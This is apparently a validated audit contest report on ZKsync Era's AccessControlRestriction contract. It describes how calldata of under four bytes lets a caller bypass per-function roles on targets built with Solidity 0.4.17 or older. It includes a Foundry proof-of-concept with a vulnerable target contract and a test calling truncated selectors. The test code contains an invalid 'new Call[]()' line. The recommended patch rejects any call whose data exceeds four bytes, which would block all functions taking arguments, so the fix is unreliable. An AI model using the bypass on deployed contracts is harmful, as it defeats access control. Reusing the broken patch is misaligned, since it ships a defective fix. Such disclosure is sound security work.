Era

ZKsync
FoundryLayer 2
500,000 USDC
View results
Submission Details
Severity: low
Valid

Bypass of the fallback role to call any function signature in AccessControlRestriction

Summary

The role to call the fallback functions in the AccessControlRestriction contract can be bypassed to also call other functions if:

  1. The target contract was compiled with solc <=0.4.17

  2. The function signature ends a 00 byte
    without having set any role for any other function.

Vulnerability Details

Evaluate the following piece of code coming from the AccessControlRestriction contract:

/// @inheritdoc Restriction
function validateCall(Call calldata _call, address _invoker) external view override {
// Note, that since `DEFAULT_ADMIN_ROLE` is 0 and the default storage value for the
// `requiredRoles` and `requiredRolesForFallback` is 0, the default admin is by default a required
// role for all the functions.
if (_call.data.length < 4) {
if (!hasRole(requiredRolesForFallback[_call.target], _invoker)) {
revert AccessToFallbackDenied(_call.target, _invoker);
}
} else {
bytes4 selector = bytes4(_call.data[:4]);
if (!hasRole(requiredRoles[_call.target][selector], _invoker)) {
revert AccessToFunctionDenied(_call.target, selector, _invoker);
}
}
}

https://github.com/Cyfrin/2024-10-zksync/blob/cfc1251de29379a9548eeff1eea3c78267288356/era-contracts/l1-contracts/contracts/governance/AccessControlRestriction.sol#L62-L77

Having the calldata set to less than 4 bytes doesn't necessarily means that the fallback function will be called. The function signature in the target contract could be 0x10000000 and be called with the calldata 0x10.
This is due to a bug in versions of Solidity versions older than 0.4.18, learn more in the release announcement of the version 0.4.18.

Code Generator: Do not accept data with less than four bytes (truncated function signature) for regular function calls - fallback function is invoked instead.

Because of this, it is possible to call a function whose signature ends with 00 because of this missing 4 bytes check.

POC

See the following target contract,

diff --git a/era-contracts/l1-contracts/contracts/PermissionedToken.sol b/era-contracts/l1-contracts/contracts/PermissionedToken.sol
new file mode 100644
index 0000000..aa9d72d
--- /dev/null
+++ b/era-contracts/l1-contracts/contracts/PermissionedToken.sol
@@ -0,0 +1,16 @@
+pragma solidity 0.4.17;
+
+contract PermissionedToken {
+ // 0x58739800
+ bool public wCalled;
+ function withdrawAllFor(address) public { wCalled = true; }
+ // 0x873e9600
+ bool public gCalled;
+ function getOracleState(address,uint32) public { gCalled = true; }
+ // 0xbc000000
+ bool public pCalled;
+ function pwn_8928181() public { pCalled = true; }
+
+ bool public fCalled;
+ function () payable { fCalled = true; }
+}

As well as the following test that showcases the vulnerability in the AccessControlRestriction.t.sol test file.

diff --git a/era-contracts/l1-contracts/test/foundry/l1/unit/concrete/Governance/AccessControlRestriction.t.sol b/era-contracts/l1-contracts/test/foundry/l1/unit/concrete/Governance/AccessControlRestriction.t.sol
index 5169979..bddf759 100644
--- a/era-contracts/l1-contracts/test/foundry/l1/unit/concrete/Governance/AccessControlRestriction.t.sol
+++ b/era-contracts/l1-contracts/test/foundry/l1/unit/concrete/Governance/AccessControlRestriction.t.sol
@@ -201,4 +201,62 @@ contract AccessRestrictionTest is Test {
Call memory call = Call({target: address(chainAdmin), value: 0, data: ""});
restriction.validateCall(call, randomCaller);
}
+
+ function test_FallbackRoleValidateTruncated() public {
+ bytes memory code = abi.encodePacked(vm.getCode("contracts/PermissionedToken.sol"));
+ address token;
+ assembly {
+ token := create(0, add(code, 0x20), mload(code))
+ }
+ assert(token != address(0));
+
+ vm.startPrank(owner);
+ restriction.setRequiredRoleForFallback(token, DEFAULT_ADMIN_ROLE);
+
+ Call memory call;
+ Call[] memory calls = new Call[]();
+ bytes4 sig;
+
+ // 1. prove that we can call withdrawAllFor
+ assertFalse(IToken(token).wCalled());
+ sig = bytes4(keccak256("withdrawAllFor(address)"));
+ call = Call({target: token, value: 0, data: abi.encode(bytes3(sig))}); // truncate sig to 3 bytes
+ restriction.validateCall(call, owner);
+ calls[0] = call;
+ chainAdmin.multicall(calls, true);
+ assertTrue(IToken(token).wCalled());
+
+ // 2. prove that we can call getOracleState
+ assertFalse(IToken(token).gCalled());
+ sig = bytes4(keccak256("getOracleState(address,uint32)"));
+ call = Call({target: token, value: 0, data: abi.encode(bytes3(sig))}); // truncate sig to 3 bytes
+ restriction.validateCall(call, owner);
+ calls[0] = call;
+ chainAdmin.multicall(calls, true);
+ assertTrue(IToken(token).gCalled());
+
+ // 3. prove that we can call pwn_8928181
+ assertFalse(IToken(token).pCalled());
+ sig = bytes4(keccak256("pwn_8928181()"));
+ call = Call({target: token, value: 0, data: abi.encode(bytes3(sig))}); // truncate sig to 3 bytes
+ restriction.validateCall(call, owner);
+ calls[0] = call;
+ chainAdmin.multicall(calls, true);
+ assertTrue(IToken(token).pCalled());
+
+ // 4. prove that we can call fallback
+ assertFalse(IToken(token).fCalled());
+ call = Call({target: token, value: 0, data: ""}); // call fallback
+ restriction.validateCall(call, owner);
+ calls[0] = call;
+ chainAdmin.multicall(calls, true);
+ assertTrue(IToken(token).fCalled());
+ }
+}
+
+interface IToken {
+ function wCalled() external view returns (bool);
+ function gCalled() external view returns (bool);
+ function pCalled() external view returns (bool);
+ function fCalled() external view returns (bool);
}

Impact

This vulnerability makes it possible to bypass the fallback role in the AccessControlRestriction contract and still be able to call functions without the requiredRole and could lead to catastrophic access control vulnerabilities in target contracts.

Tools Used

https://github.com/iFrostizz/sig_cracker
vim

Recommendations

If assuming that fallback functions are triggered when the calldata is empty, require the caller to either supply a calldata lenth of 0 (fallback) or >= 4 (selector). There should be a case testing that calls with a data length included in ]0; 4[ are rejected as they are very exotic anyway.

diff --git a/era-contracts/l1-contracts/contracts/governance/AccessControlRestriction.sol b/era-contracts/l1-contracts/contracts/governance/AccessControlRestriction.sol
index 6052d1e..8b14e56 100644
--- a/era-contracts/l1-contracts/contracts/governance/AccessControlRestriction.sol
+++ b/era-contracts/l1-contracts/contracts/governance/AccessControlRestriction.sol
@@ -64,15 +64,18 @@ contract AccessControlRestriction is Restriction, IAccessControlRestriction, Acc
// Note, that since `DEFAULT_ADMIN_ROLE` is 0 and the default storage value for the
// `requiredRoles` and `requiredRolesForFallback` is 0, the default admin is by default a required
// role for all the functions.
- if (_call.data.length < 4) {
+ if (_call.data.length == 0) {
if (!hasRole(requiredRolesForFallback[_call.target], _invoker)) {
revert AccessToFallbackDenied(_call.target, _invoker);
}
- } else {
+ } else if (_call.data.length == 4) {
bytes4 selector = bytes4(_call.data[:4]);
if (!hasRole(requiredRoles[_call.target][selector], _invoker)) {
revert AccessToFunctionDenied(_call.target, selector, _invoker);
}
+ } else {
+ bytes4 selector = bytes4(_call.data);
+ revert AccessToFunctionDenied(_call.target, selector, _invoker);
}
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Bypass of the fallback role to call any function signature in AccessControlRestriction with solidity versions =< 0.4.17

Appeal created

franfran2 Submitter
6 months ago
inallhonesty Lead Judge
6 months ago
inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Bypass of the fallback role to call any function signature in AccessControlRestriction with solidity versions =< 0.4.17

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.